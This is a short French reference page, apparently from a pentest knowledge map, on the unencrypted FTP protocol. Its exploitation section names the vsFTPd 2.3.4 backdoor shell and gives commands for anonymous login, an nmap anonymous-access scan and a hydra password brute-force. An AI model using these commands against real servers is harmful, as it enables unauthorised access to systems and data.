FTP — Transfert de fichiers

TCP 21 Non chiffré

★★★★★

Qu'est-ce que FTP ?

FTP (File Transfer Protocol) transfère des fichiers entre machines. Credentials et données transmis EN CLAIR. À remplacer par SFTP (port 22) ou FTPS (FTP + TLS).

Exploitation

vsFTPd 2.3.4 Backdoor Username ":)" ouvre un shell sur le port 6200

# Accès anonyme
ftp target
# Login: anonymous  Password: anything@

curl ftp://target/ --user anonymous:anonymous
nmap --script ftp-anon target

# Brute force
hydra -l admin -P rockyou.txt ftp://target

← Retour à la Knowledge Map